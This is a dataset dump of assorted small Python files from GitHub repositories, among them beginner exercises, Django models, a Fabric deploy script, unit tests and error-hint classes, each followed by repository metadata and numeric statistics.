import abc class PipelineStep(object): __metaclass__ = abc.ABCMeta def __init__(self): print("constructor") @abc.abstractmethod def run(self, *args): pass

17.181818

31

0.640212

20

189

5.65

0.8

0

0.259259

189

11

32

17.181818

0.807143

0

0.057895

0

1

0.25

false

0.125

0

0.625

0.125

1

0

null

0

null

0

1

0

1

0

1

0

4

f1307d23de68374bb5844ec116db3d91ccf623ed

101

py

Python

Python Program for compound interest.py

vasumsv/Python-Basic-Programs-

a92c98dc6b9a266a97e0689238d555c90fe31cab

[ "MIT" ]

null

Python Program for compound interest.py

vasumsv/Python-Basic-Programs-

a92c98dc6b9a266a97e0689238d555c90fe31cab

[ "MIT" ]

null

Python Program for compound interest.py

vasumsv/Python-Basic-Programs-

a92c98dc6b9a266a97e0689238d555c90fe31cab

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Created on Sun Jun 21 00:03:53 2020 @author: Vasu """ print(2+5)

12.625

36

0.534653

17

101

3.176471

1

0

0.197368

0.247525

101

8

37

12.625

0.513158

0.722772

0

1

0

true

0

1

0

null

0

1

0

null

0

1

0

1

0

4

f13a17d241d5fd69ef2c198397e4c3391a375ba2

133

py

Python

python/2 Dive into Python/for.py

shahjalalh/tutorials

16046e02cfaf7c28a614c442bb1e6830280e343e

[ "MIT" ]

8

2015-08-02T16:36:37.000Z

2018-10-04T11:29:33.000Z

python/2 Dive into Python/for.py

shahjalalh/tutorials

16046e02cfaf7c28a614c442bb1e6830280e343e

[ "MIT" ]

null

python/2 Dive into Python/for.py

shahjalalh/tutorials

16046e02cfaf7c28a614c442bb1e6830280e343e

[ "MIT" ]

19

2015-03-30T09:46:35.000Z

2021-09-17T13:58:42.000Z

dictionary = {"name": "Shahjalal", "ref": "Python", "sys": "Mac"} for key, value in dictionary.items(): print key, " = ", value

26.6

65

0.593985

16

133

4.9375

0.8125

0.202532

0

0.180451

133

4

66

33.25

0.724771

0

0.233083

0

null

0

null

0.333333

1

0

null

1

0

1

0

null

0

1

0

4

f14a0b5aed582806fa841dca225e039caf8291c5

60

py

Python

py/extremamenteBasico.py

Ellian-aragao/URI

e53b9380c5be0e59fdd002553ea33a04a7c35439

[ "Unlicense" ]

null

py/extremamenteBasico.py

Ellian-aragao/URI

e53b9380c5be0e59fdd002553ea33a04a7c35439

[ "Unlicense" ]

null

py/extremamenteBasico.py

Ellian-aragao/URI

e53b9380c5be0e59fdd002553ea33a04a7c35439

[ "Unlicense" ]

null

x = int(input()) x += int(input()) print('X = {}'.format(x))

20

25

0.516667

10

60

3.1

0.5

0.258065

0.580645

0

0.133333

60

3

25

20

0.596154

0

0.098361

0

1

0

false

0

0.333333

1

0

null

1

0

1

0

null

0

4

f1732b883b217a61af46e6152e1552568091c42e

89

py

Python

presalytics/story/__init__.py

presalytics/python-client

5d80b78562126feeeb49af4738e2c1aed12dce3a

[ "MIT" ]

4

2020-02-21T16:30:46.000Z

2021-01-12T12:22:03.000Z

presalytics/story/__init__.py

presalytics/python-client

5d80b78562126feeeb49af4738e2c1aed12dce3a

[ "MIT" ]

4

2019-12-28T19:30:08.000Z

2020-03-31T19:27:45.000Z

presalytics/story/__init__.py

presalytics/python-client

5d80b78562126feeeb49af4738e2c1aed12dce3a

[ "MIT" ]

null

""" Conains base objects for rendering, building, serializing, and view Story objects """

29.666667

81

0.764045

11

89

6.181818

0.909091

0

0.134831

89

3

82

29.666667

0.883117

0.910112

0

null

0

null

0

null

0

null

1

null

true

0

null

1

0

null

0

1

0

1

0

null

0

1

0

4

f17d61813419a245e879dfa296aa24610a69c12e

508

py

Python

Borealis/permissions.py

andeen171/Borealis

c1f4fe891b01a086701a9db92dda59db2e36e095

[ "MIT" ]

null

Borealis/permissions.py

andeen171/Borealis

c1f4fe891b01a086701a9db92dda59db2e36e095

[ "MIT" ]

null

Borealis/permissions.py

andeen171/Borealis

c1f4fe891b01a086701a9db92dda59db2e36e095

[ "MIT" ]

null

from rest_framework import permissions class IsClient(permissions.BasePermission): def has_permission(self, request, view): is_staff = request.user.is_staff return not is_staff class IsTechnician(permissions.BasePermission): def has_permission(self, request, view): is_staff = request.user.is_staff return is_staff class ReadOnly(permissions.BasePermission): def has_permission(self, request, view): return request.method in permissions.SAFE_METHODS

26.736842

57

0.744094

61

508

6.016393

0.409836

0.114441

0.228883

0.253406

0.626703

0.474114

0

0.187008

508

18

58

28.222222

0.88862

0

0.416667

0

1

0.25

false

0

0.083333

0.833333

0

null

0

1

0

null

0

1

0

1

0

4

74e23da927e86f465421f58df09ed570577fd7a1

109

py

Python

src/db/__init__.py

iulianPeiu6/EncryptedDatabase

127c116cc6ca7389fb0df9eaaa9930447fa5a012

[ "MIT" ]

null

src/db/__init__.py

iulianPeiu6/EncryptedDatabase

127c116cc6ca7389fb0df9eaaa9930447fa5a012

[ "MIT" ]

null

src/db/__init__.py

iulianPeiu6/EncryptedDatabase

127c116cc6ca7389fb0df9eaaa9930447fa5a012

[ "MIT" ]

null

"""Contains implementation database queries and DMLs: get all files, create file, remove file, read file """

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1

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null

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4

74e2e97b3ebd43be5e568c15e642df8a30d5d2ea

81

py

Python

cracking_the_coding_interview_qs/16.1/number_swapper.py

angelusualle/algorithms

86286a49db2a755bc57330cb455bcbd8241ea6be

[ "Apache-2.0" ]

null

cracking_the_coding_interview_qs/16.1/number_swapper.py

angelusualle/algorithms

86286a49db2a755bc57330cb455bcbd8241ea6be

[ "Apache-2.0" ]

null

cracking_the_coding_interview_qs/16.1/number_swapper.py

angelusualle/algorithms

86286a49db2a755bc57330cb455bcbd8241ea6be

[ "Apache-2.0" ]

null

def number_swapper(a,b): a = a - b b = b + a a = b - a return a,b

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81

2.058824

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0.228571

0

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16.2

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1

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0

1

0

null

0

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2d00015f734b10c2cc47d1bef023e57ce9e0a3fe

38

py

Python

python/testData/refactoring/introduceVariable/incorrectSelection.py

jnthn/intellij-community

8fa7c8a3ace62400c838e0d5926a7be106aa8557

[ "Apache-2.0" ]

2

2019-04-28T07:48:50.000Z

2020-12-11T14:18:08.000Z

python/testData/refactoring/introduceVariable/incorrectSelection.py

Cyril-lamirand/intellij-community

60ab6c61b82fc761dd68363eca7d9d69663cfa39

[ "Apache-2.0" ]

173

2018-07-05T13:59:39.000Z

2018-08-09T01:12:03.000Z

python/testData/refactoring/introduceVariable/incorrectSelection.py

Cyril-lamirand/intellij-community

60ab6c61b82fc761dd68363eca7d9d69663cfa39

[ "Apache-2.0" ]

2

2020-03-15T08:57:37.000Z

2020-04-07T04:48:14.000Z

a = <selection>b + fu</selection>nc()

19

37

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38

4

0.833333

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38

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0

null

0

1

0

null

0

1

0

4

741ee4b89477f5b97be5953c30f4287794e1a383

164

py

Python

webstr/patternfly/__init__.py

fbalak/webstr

7c7e552fb9943bf664b94ca75a88747c0b243722

[ "Apache-2.0" ]

3

2017-03-01T11:51:12.000Z

2018-04-16T13:09:56.000Z

webstr/patternfly/__init__.py

fbalak/webstr

7c7e552fb9943bf664b94ca75a88747c0b243722

[ "Apache-2.0" ]

null

webstr/patternfly/__init__.py

fbalak/webstr

7c7e552fb9943bf664b94ca75a88747c0b243722

[ "Apache-2.0" ]

1

2018-04-16T13:09:34.000Z

""" Patternfly user interface module. This module contains models and pages classess for UI elements from patternfly library, see: https://www.patternfly.org/ """

23.428571

78

0.77439

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164

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164

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79

27.333333

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0

1

0

null

0

1

0

4

7432a32a647cc2ae7a081e30291ff3f5bb8b2904

111

py

Python

code/11-files.py

Zhang-Jinlei/one-python-craftsman

bceee25c8e1b44b54f6cc7a73ee1353aa59299fa

[ "Apache-2.0" ]

null

code/11-files.py

Zhang-Jinlei/one-python-craftsman

bceee25c8e1b44b54f6cc7a73ee1353aa59299fa

[ "Apache-2.0" ]

null

code/11-files.py

Zhang-Jinlei/one-python-craftsman

bceee25c8e1b44b54f6cc7a73ee1353aa59299fa

[ "Apache-2.0" ]

null

#!/usr/bin/env python3 # -*- coding: utf-8 -*- # @Time : 2021-6-1 14:59 # @Author : Jinlei # @Describe ：

18.5

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0.540541

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111

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0.225225

111

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22.2

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0

null

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true

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1

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null

0

1

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4

7441a8cee2b8b92f4b1fa230dc0b237a7b40ae60

291

py

Python

marsyas-vamp/marsyas/src/django/birdsong/application/birdsong/fabfile.py

jaouahbi/VampPlugins

27c2248d1c717417fe4d448cdfb4cb882a8a336a

[ "Apache-2.0" ]

null

marsyas-vamp/marsyas/src/django/birdsong/application/birdsong/fabfile.py

jaouahbi/VampPlugins

27c2248d1c717417fe4d448cdfb4cb882a8a336a

[ "Apache-2.0" ]

null

marsyas-vamp/marsyas/src/django/birdsong/application/birdsong/fabfile.py

jaouahbi/VampPlugins

27c2248d1c717417fe4d448cdfb4cb882a8a336a

[ "Apache-2.0" ]

null

from fabric.context_managers import cd from fabric.operations import sudo from fabric.api import settings,run from fabric.api import * env.hosts = ['django.venus.orchive.net'] def update(): with cd('/var/www/calls/'): run('svn up') sudo('/usr/sbin/apache2ctl restart')

24.25

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0.701031

42

291

4.833333

0.690476

0.197044

0.128079

0.187192

0

0.004132

0.168385

291

11

45

26.454545

0.834711

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0.082474

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0.111111

true

0

0.444444

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0.555556

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null

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0

null

0

1

0

1

0

1

0

4

74423d06512b5929719da203b2f1d566b5e13ce5

204

py

Python

weather/decorators.py

AktanKasymaliev/flask-mini-weather-app

811818ef21e1806cff307a0c8bd27d433074fa39

[ "MIT" ]

null

weather/decorators.py

AktanKasymaliev/flask-mini-weather-app

811818ef21e1806cff307a0c8bd27d433074fa39

[ "MIT" ]

null

weather/decorators.py

AktanKasymaliev/flask-mini-weather-app

811818ef21e1806cff307a0c8bd27d433074fa39

[ "MIT" ]

null

from flask import render_template def city404(func): def wrapper(): try: return func() except KeyError: return render_template('error.html') return wrapper

22.666667

48

0.607843

22

204

5.545455

0.681818

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0

0.021583

0.318627

204

9

49

22.666667

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0

1

0.25

false

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0

1

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null

1

0

1

0

null

0

1

0

4

7447241e6b3f03a7055e4f95c71cd59e705afa1d

2,316

py

Python

WCPS-python-project/dsl.py

itsayeshanaeem/WCPSAccess

12b7a2f28a0f849a42336357723a57b6cb5905c9

[ "CNRI-Python" ]

null

WCPS-python-project/dsl.py

itsayeshanaeem/WCPSAccess

12b7a2f28a0f849a42336357723a57b6cb5905c9

[ "CNRI-Python" ]

null

WCPS-python-project/dsl.py

itsayeshanaeem/WCPSAccess

12b7a2f28a0f849a42336357723a57b6cb5905c9

[ "CNRI-Python" ]

null

# -*- coding: utf-8 -*- from pprint import pprint from ast_nodes import * def count(child): return ApplyExpr("count", child) def avg(child): return ApplyExpr("avg", child) def add(child): return ApplyExpr("add", child) def arcsin(child): return ApplyExpr("arcsin", child) def arccos(child): return ApplyExpr("arccos", child) def pow(child): return ApplyExpr("pow", child) def re(child): return ApplyExpr("re", child) def im(child): return ApplyExpr("im", child) def cos(child): return ApplyExpr("cos", child) def sin(child): return ApplyExpr("sin", child) def cosh(child): return ApplyExpr("cosh", child) def sinh(child): return ApplyExpr("sinh", child) def clip(child, wkt): return ClipExpr(child, wkt) def cast(totype, child): return CastExpr(totype, child) def quote_str(maybe_str): if isinstance(maybe_str, Expr): return maybe_str.emit() elif isinstance(maybe_str, str) and not maybe_str[0]=='$': return '"%s"'%(maybe_str,) else: return str(maybe_str) def ansi(*args): quoted = ['"%s"'%(x,) for x in args ] return Slice("ansi", quoted) def lon(*args): return Slice("Long", map(str, args)) def lat(*args): return Slice("Lat", map(str, args)) def axis(label, *args, **kwargs): """ Generates a slice over the dimension with name label TODO: add crs capability. Could use kwargs """ return Slice(label, map(quote_str, args), **kwargs) def encode(expr, fmt): """ Return expr as a string TODO: Check for fmt validity """ return EncodeAppExpr(expr, fmt) def switch(*args): """ switch case xxx """ if not all((isinstance(x, Case) or isinstance(x,Default) ) for x in args): raise TypeMismatch("can only contain case or default") return SwitchExpr(args) def case(cond, retval): return Case(cond, retval) def default(retval): """ THe default for the switch statement """ return Default(retval) def struct(**kwargs): return StructExpr(kwargs) def printE(): global _ENVIRONMENTS def wcps(fun): def wrapped(): global _ENVIRONMENTS fun() obj = _ENVIRONMENTS.pop() return obj.emit() return wrapped

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4.753333

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80

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null

0

1

0

1

0

1

0

4

746734a4533d2ac2c31f3a76edd925511b8ee4c3

3,389

py

Python

apps/dataupload/models.py

Sunbird-Ed/evolve-api

371b39422839762e32401340456c13858cb8e1e9

[ "MIT" ]

1

2019-02-27T15:26:11.000Z

apps/dataupload/models.py

Sunbird-Ed/evolve-api

371b39422839762e32401340456c13858cb8e1e9

[ "MIT" ]

9

2019-12-16T10:09:46.000Z

2022-03-11T23:42:12.000Z

apps/dataupload/models.py

Sunbird-Ed/evolve-api

371b39422839762e32401340456c13858cb8e1e9

[ "MIT" ]

null

from django.db import models from apps.configuration.models import Book class Chapter(models.Model): book = models.ForeignKey(Book, on_delete=models.CASCADE) chapter = models.CharField(max_length=200) created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) active=models.BooleanField(default=True) def __str__(self): return self.chapter class Meta: verbose_name='Chapter' verbose_name_plural='Chapter' class Section(models.Model): chapter = models.ForeignKey(Chapter, on_delete=models.CASCADE,null=False) section = models.CharField(max_length=200) created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) active=models.BooleanField(default=True) def __str__(self): return self.section class Meta: verbose_name='Section' verbose_name_plural='Sections' class SubSection(models.Model): section = models.ForeignKey(Section, on_delete=models.CASCADE,null=False) sub_section = models.CharField(max_length=200) created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) active=models.BooleanField(default=True) def __str__(self): return self.sub_section class Meta: verbose_name='Sub section' verbose_name_plural='Sub sections' class SubSubSection(models.Model): subsection = models.ForeignKey(SubSection, on_delete=models.CASCADE,null=False) sub_sub_section = models.CharField(max_length=200) created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) active=models.BooleanField(default=True) def __str__(self): return self.sub_sub_section class Meta: verbose_name='Sub Sub section' verbose_name_plural='Sub Sub sections' class ChapterKeyword(models.Model): chapter = models.ForeignKey(Chapter, on_delete=models.CASCADE) keyword = models.CharField(max_length=200) created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) def __str__(self): return self.keyword class Meta: verbose_name='Chapter keyword' verbose_name_plural='Chapter keywords' class SectionKeyword(models.Model): section = models.ForeignKey(Section, on_delete=models.CASCADE,null=False) keyword = models.CharField(max_length=200) created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) def __str__(self): return self.keyword class Meta: verbose_name='Section keyword' verbose_name_plural='Section keywords' class SubSectionKeyword(models.Model): sub_section = models.ForeignKey(SubSection, on_delete=models.CASCADE,null=False) keyword = models.CharField(max_length=200) created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) def __str__(self): return self.keyword class Meta: verbose_name='Sub section keyword' verbose_name_plural='Sub sections keywords' class SubSubSectionKeyword(models.Model): sub_sub_section = models.ForeignKey(SubSubSection, on_delete=models.CASCADE,null=False) keyword = models.CharField(max_length=200) created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) def __str__(self): return self.keyword class Meta: verbose_name='Sub Sub section keyword' verbose_name_plural='Sub Sub sections keywords'

27.330645

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5.644737

0.111842

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0.130536

0.1554

0.8108

0.766123

0.73582

0.67871

0.646853

0

0.007931

0.107111

3,389

124

54

27.330645

0.842697

0

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0

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0

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0.085106

false

0

0.021277

0.085106

0.744681

0

null

0

1

0

1

0

null

0

4

74687b7af696af29d5cf402de814c62047159038

65

py

Python

class2/my_func2.py

brutalic/pynet_brutal

2afb94430dc9a19eeaf075460494a44e93fab683

[ "Apache-2.0" ]

null

class2/my_func2.py

brutalic/pynet_brutal

2afb94430dc9a19eeaf075460494a44e93fab683

[ "Apache-2.0" ]

null

class2/my_func2.py

brutalic/pynet_brutal

2afb94430dc9a19eeaf075460494a44e93fab683

[ "Apache-2.0" ]

null

#!/usr/bin/python def hello2(): print "Hello world twice!"

10.833333

30

0.630769

9

65

4.555556

1

0

0.019231

0.2

65

5

31

13

0.769231

0.246154

0

0.382979

0

null

0

null

0.5

1

0

null

0

1

0

null

0

1

0

1

0

4

7471f95205db9cbdef49adc3c9cd3b4cf675501f

61

py

Python

test/output/069.py

EliRibble/pyfmt

e84a5531a7c06703eddd9dbc2072b0c8deae8c57

[ "MIT" ]

null

test/output/069.py

EliRibble/pyfmt

e84a5531a7c06703eddd9dbc2072b0c8deae8c57

[ "MIT" ]

null

test/output/069.py

EliRibble/pyfmt

e84a5531a7c06703eddd9dbc2072b0c8deae8c57

[ "MIT" ]

null

def hello(a: str, b, *args, c=None, **kwargs) -> None: pass

20.333333

54

0.590164

11

61

3.272727

0.909091

0

0.180328

61

2

55

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0.72

0

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0.5

false

0.5

0

0.5

0

1

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null

0

1

0

null

0

1

0

1

0

4

77b7b254930c08c474a0312a5b360180fe009de0

718

py

Python

ex035.py

LucasLCarreira/Python

03bd64837d74315687e567261a149f0176496348

[ "MIT" ]

1

2020-04-21T19:14:50.000Z

ex035.py

LucasLCarreira/Python

03bd64837d74315687e567261a149f0176496348

[ "MIT" ]

null

ex035.py

LucasLCarreira/Python

03bd64837d74315687e567261a149f0176496348

[ "MIT" ]

null

# Exercício Python 035 # Leia o comprimento de 3 retas e diga se elas podem ou nao formar um triangulo a = int(input('Digite a reta 1: ')) b = int(input('Digite a reta 2: ')) c = int(input('Digite a reta 3: ')) if (b - c) < a and (b + c) > a: if (a - c) < b and (a + c) > b: if (a - b) < c and (a + b) > c: print('É possível formar um triangulo!') else: print('Não é possível formar um triangulo!') # Resolução do professor a = int(input('Digite a reta 1: ')) b = int(input('Digite a reta 2: ')) c = int(input('Digite a reta 3: ')) if a < b + c and b < a + c and c < a + b: print('É possível formar um triangulo!') else: print('Não é possível formar um triangulo!')

35.9

79

0.576602

128

718

3.234375

0.296875

0.115942

0.202899

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0

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718

20

80

35.9

0.775432

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0.75

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0.393939

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false

0

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null

0

1

0

1

0

1

0

null

0

4

77e9bf5e6891c613d43348f2b262a2556b2ad8e5

12,685

py

Python

src/exceptionite/solutions.py

girardinsamuel/exceptionite

583746493e1bdee4bb945b6a4c1a873b4f84fdb4

[ "MIT" ]

null

src/exceptionite/solutions.py

girardinsamuel/exceptionite

583746493e1bdee4bb945b6a4c1a873b4f84fdb4

[ "MIT" ]

null

src/exceptionite/solutions.py

girardinsamuel/exceptionite

583746493e1bdee4bb945b6a4c1a873b4f84fdb4

[ "MIT" ]

null

# flake8: noqa: E501 class DictionaryUpdateSequence: def title(self): return "Updating a dictionary with a set. " def description(self): return ( "Looks like you are trying to update a dictionary but are actually using a set. " "Double check what you are passing into the update method" ) def regex(self): return r"dictionary update sequence element #0 has length 3; 2 is required" class DictionaryUpdateSequenceWithList: def title(self): return "Updating a dictionary with a list. " def description(self): return ( "Looks like you are trying to update a dictionary but are actually using a list. " "Double check what you are passing into the update method" ) def regex(self): return r"cannot convert dictionary update sequence element #0 to a sequence" class ClassMethodExists: def title(self): return "Check the class method exists" def description(self): return ( "Check the :method attribute exists on the ':class' class. If this is a class you made then check the file its in and see if the method exists." "If this is a third party class then refer to the documentation." ) def regex(self): return r"^class \'(?P<class>([\w]*))\' has no attribute (?P<method>(\w+))" class ClassModelMethodExists: def title(self): return "Model method does not exist" def description(self): return "Could not find the ':method' method on the model class. Please check spelling. If this is a method you expect to be on the builder class then check the ORM documentation" def regex(self): return r"^class model \'(?P<class>([\w]*))\' has no attribute (?P<method>(\w+))" class ImportIssueWithController: def title(self): return "Import Error In Controller" def description(self): return ( "The :class controller could not be loaded into the route correctly. Check any recent imports or all imports in the controller. " "Worst case is you can import the controller directly in the route and you should get a python error." ) def regex(self): return r"named (?P<class>([\w]*)) has been found in" class IncorrectControllerName: def title(self): return "Mispelled Controller name" def description(self): return "The :class controller could be mispelled. Check your routes file for :class and make sure that is the correct spelling." def regex(self): return r"named (?P<class>([\w]*)) has been found in" class IncorrectlyDefinedRoute: def title(self): return "Check the controller and action is set correctly on the route." def description(self): return "Check the definition on the controller is correct. If using string controllers it should be in the format of 'Controller@action'" def regex(self): return r"named (?P<class>([\w]*)) has been found in" def documentation_link(self): return "https://docs.masoniteproject.com/the-basics/routing#creating-a-route" class RouteNameNotFound: def title(self): return "Check the the name exists in your routes file" def description(self): return """Check the routes file and make sure there is a route with the ".name(':name')\" method. You can also run `python craft routes:list` to see a table of routes. Check for your named route in that table.""" def regex(self): return r"Could not find route with the name \'(?P<name>([\w]*))\'" def documentation_link(self): return "https://docs.masoniteproject.com/the-basics/routing#name" class IncludedTemplateNotFound: def title(self): return "Check any imported templates inside the :name template." def description(self): return ( "The :name template was found but a template included inside the :name template was not found. " "Check any lines of code that use the extends or include Jinja2 tags inside your template. " "Check the template path is correct. Included templates are absolute from your template directory and should end with '.html'" ) def regex(self): return ( r"One of the included templates in the \'(?P<name>([\w]*))\' view could not be found" ) class UnexpectedEndBlock: def title(self): return "Check the :name was closed correctly." def description(self): return "The error could be difficult to find so check ALL :name tags and make sure the :name tag is opened and closed correctly. " def regex(self): return r"Unexpected end of template. Jinja was looking for the following tags: \'(?P<name>([\w]*))\'." class QueryDefaultValue: def title(self): return "Missing default value for ':field'" def description(self): return ( "Default values are typically set on the database level. " "You can either add a default value on the :field table column in a migration or you should pass a value when creating this record" ) def regex(self): return r"$1364\, \"Field \'(?P<field>([\w]*))\' doesn't have a default value\"$" class NoColumnExistsOnWhere: def title(self): return "Check the table for the :field column" def description(self): return "Could not find the :field column. Check your 'where' clauses. Is :field on the table you are trying to query? Did you run the migrations yet? Maybe it was not spelled correctly?" def regex(self): return r"Unknown column \'(?P<field>([\w\.]*))\' in \'where clause\'" class NoColumnExistsOnWhereSQLite: def title(self): return "Check the table for the :field column" def description(self): return "Could not find the :field column. Is :field on the table you are trying to query? Did you run the migrations yet? Maybe it was not spelled correctly?" def regex(self): return r"no such column: (?P<field>([\w\.]*))" class NoColumnExistsOnSelect: def title(self): return "Check the table for the :field column" def description(self): return "Could not find the :field column. Check your 'select' clauses. Is :field on the table you are trying to query? Did you run the migrations yet? Maybe it was not spelled correctly?" def regex(self): return r"Unknown column \'(?P<field>([\w\.]*))\' in \'field list\'" class UnsupportedOperand: def title(self): return "Trying to do math for values that are not of the same type (:type1 and :type2)" def description(self): return "Check the type of the 2 types. One is of type :type1 and the the other is of type :type2. They both need to be the same type" def regex(self): return r"unsupported operand type$s$ for \+\: '(?P<type1>([\w\.]*))' and '(?P<type2>([\w\.]*))'" class ContainerKeyNotFoundRegister: def title(self): return "Did you register the key in the service provider or Kernel?" def description(self): return ( "Check the key name was correctly registered in a service provider or the Kernel file" ) def regex(self): return r"key was not found in the container" class ContainerKeyNotFoundServiceProvider: def title(self): return "Did you register the service provider?" def description(self): return "If you registered the key in your own service provider, did you register the provider in the config/providers.py file?" def regex(self): return r"key was not found in the container" def documentation_link(self): return "https://docs.masoniteproject.com/architecture/service-providers#registering-the-service-provider" class NotFound404: def title(self): return "The '/:route' route could not be found" def description(self): return "Could not find the '/:route' route. Try checking spelling is correct and the '/:route' is registered correctly in your routes files. You can also run 'python craft routes:list' to make sure the route shows up correctly" def regex(self): return r"(?P<route>([\w]*)) \: 404 Not Found" class InvalidRouteMethodType: def title(self): return "The method type is incorrect" def description(self): return "If this is a GET route, check if the route is actually defined as Route.post(). Or the opposite" def regex(self): return r"(?P<route>([\w]*)) \: 404 Not Found" class GetAttributeObject: def title(self): return "Check the class method exists" def description(self): return """ Double check the object you are using and make sure it has the ':attribute' attribute. If you are using a builtin python type then check Python documentation. If you are using your own class then check the available methods. """ def regex(self): return r"^'(?P<object>(\w+))' object has no attribute '(?P<attribute>(\w+))'" class NoModuleNamed: def title(self): return "Module Not Found Error" def description(self): return "This is an import error. Check the file where you imported the ': module' module. Make sure its spelled right and make sure you pip installed this module correctly if this is supposed to come from a PYPI package." def regex(self): return r"No module named '(?P<module>(\w+))'" class Syntax: def title(self): return "Syntax Error" def description(self): return "Syntax errors are usually simple to fix. Just find the place that has invalid Python syntax and fix it. A good place to look is in your :class file on line :line" def regex(self): return r"^invalid syntax \((?P<class>(\w+\.py))+, line (?P<line>(\w+))" class ImportIssue: def title(self): return "Import Issue" def description(self): return "This is an import error. Check the file where you imported the ':object' class and make sure it exists there." def regex(self): return r"^cannot import name '(?P<object>(\w+))'" class Undefined: def title(self): return "Undefined Variable" def description(self): return "You are trying to use a variable that cannot be found. Check the ':variable' variable and see if it is declared, imported or in the correct scope depending on what the variable is." def regex(self): return r"name '(?P<variable>(\w+))' is not defined" class WrongParameterCount: def title(self): return "Wrong Parameter Count" def description(self): return ( "You have the wrong amount of parameters for the ':object' object. " "It requires :correct parameters but you gave :wrong parameters. If the parameters are stored in a variable try checking the variable to the left. " "If you are passing variables in normally then check the signature of the object" ) def regex(self): return r"^(?P<object>(\w*)) takes (?P<correct>(\d+)) positional (argument|arguments) but (?P<wrong>(\d+)) (were|was) given" class WrongConstructorParameterCount: def title(self): return "Wrong Parameters to a Constructor" def description(self): return ( "The ':object' object doesn't take parameters but you gave some anyway. " "Check the constructor of the ':object' object. It's likely it does not take any parameters. " "If its stored in a variable you can check the value to the left." ) def regex(self): return r"^(?P<object>(\w*)) takes no parameters " class ObjectNotCallable: def title(self): return "Objects Cannot Be Called" def description(self): return ( "You cannot call objects. The ':object' object has already been instiatiated. " "Once an object is instantiated it cannot be called directly anymore. " "Check if the ':object' is instantiated already." ) def regex(self): return r"^'(?P<object>(\w*))' object is not callable" class SubscriptableIssue: def title(self): return "Object Not Subscriptable" def description(self): return "Looks like you expected ':object' to be an iterable but it is not. You can only use subscrptions, like x[0], on iterable type objects (like lists, dicts, and strings) but not ':object' in this case." def regex(self): return r"^'(?P<object>(\w+))' object is not subscriptable"

35.334262

235

0.656129

1,761

12,685

4.724588

0.183419

0.104567

0.040385

0.060577

0.414904

0.344591

0.307933

0.294712

0.265625

0.228365

0

0.003153

0.249901

12,685

358

236

35.432961

0.871256

0.001419

0

0.46473

0

0.099585

0.601816

0.024556

0

1

0.360996

false

0.016598

0.045643

0.360996

0.883817

0

null

0

1

0

null

0

1

0

1

0

4

77f9e9496467c8fe2e0822c05db37440f430e5ab

418

py

Python

excel_generator/excel_generator/__init__.py

estuaryoss/test-libs-python

db9d6acd25dce10fb4756ff42562c798c9fe87a0

[ "Apache-2.0" ]

null

excel_generator/excel_generator/__init__.py

estuaryoss/test-libs-python

db9d6acd25dce10fb4756ff42562c798c9fe87a0

[ "Apache-2.0" ]

null

excel_generator/excel_generator/__init__.py

estuaryoss/test-libs-python

db9d6acd25dce10fb4756ff42562c798c9fe87a0

[ "Apache-2.0" ]

null

"""Generate Excel from JSON input file Import the `Generator` to generate the Excel: >>> from excel_generator.generator import Generator >>> json_file = "results.json" >>> excel_file = "Results.xls" >>> generator = Generator(json_file=json_file, excel_file=excel_file) >>> generator.generate() See https://github.com/estuaryoss/test-libs-python/tree/master/excel_generator for more information """

41.8

99

0.732057

54

418

5.518519

0.462963

0.080537

0.114094

0

0.141148

418

9

100

46.444444

0.830084

0.980861

0

null

1

null

0

null

0

null

1

null

true

0

null

0

null

0

1

0

1

0

1

0

null

0

1

0

4

ae0102e22556c1fbb8d229224fdad54c3f385007

1,721

py

Python

configuration_py/tests/unit/test_get_file_extensions.py

Ferroman/configuration.py

c6fb46685a66d09bb17d76d3ce686ecef21769ac

[ "MIT" ]

5

2017-03-29T23:16:27.000Z

2021-09-02T10:08:57.000Z

configuration_py/tests/unit/test_get_file_extensions.py

Ferroman/configuration.py

c6fb46685a66d09bb17d76d3ce686ecef21769ac

[ "MIT" ]

null

configuration_py/tests/unit/test_get_file_extensions.py

Ferroman/configuration.py

c6fb46685a66d09bb17d76d3ce686ecef21769ac

[ "MIT" ]

1

2017-04-20T08:55:21.000Z

from unittest import TestCase from configuration_py.configuration_load import _get_file_extensions class TestGetFileExtensions(TestCase): def test_should_return_list_of_extensions_for_given_path_to_file(self): file_path = '/path/to/config/file.yaml.tmpl' expected_value = ['yaml', 'tmpl'] actual_value = _get_file_extensions(file_path) self.assertEqual(actual_value, expected_value) def test_should_return_list_of_extensions_for_windows_path(self): file_path = 'C:\\path\\to\\config\\file.yaml.tmpl' expected_value = ['yaml', 'tmpl'] actual_value = _get_file_extensions(file_path) self.assertEqual(actual_value, expected_value) def test_should_return_list_of_extensions_for_file_name(self): file_path = 'config/file.yaml.tmpl' expected_value = ['yaml', 'tmpl'] actual_value = _get_file_extensions(file_path) self.assertEqual(actual_value, expected_value) def test_should_return_list_of_extensions_for_file_name_with_one_extension(self): file_path = 'config/file.yaml' expected_value = ['yaml'] actual_value = _get_file_extensions(file_path) self.assertEqual(actual_value, expected_value) def test_should_return_empty_list_for_file_name_without_extension(self): file_path = 'config/file' expected_value = [] actual_value = _get_file_extensions(file_path) self.assertEqual(actual_value, expected_value) def test_should_return_empty_list_for_empty_file_path(self): file_path = '' expected_value = [] actual_value = _get_file_extensions(file_path) self.assertEqual(actual_value, expected_value)

35.854167

85

0.732132

219

1,721

5.237443

0.173516

0.090671

0.103749

0.09939

0.79599

0.727986

0.694856

0

0.186519

1,721

47

86

36.617021

0.819286

0

0.515152

0

0.08251

0.050552

0

0.181818

1

0.181818

false

0

0.060606

0

0.272727

0

null

0

1

0

1

0

null

0

4

bb281fe5e6d2a63178c70bc0ee71f4bc43e32d59

75

py

Python

A.py

knaik/RpiScratch

db23bc2f48bbe27370cacdb29e9ec564e4b4efa5

[ "MIT" ]

null

A.py

knaik/RpiScratch

db23bc2f48bbe27370cacdb29e9ec564e4b4efa5

[ "MIT" ]

null

A.py

knaik/RpiScratch

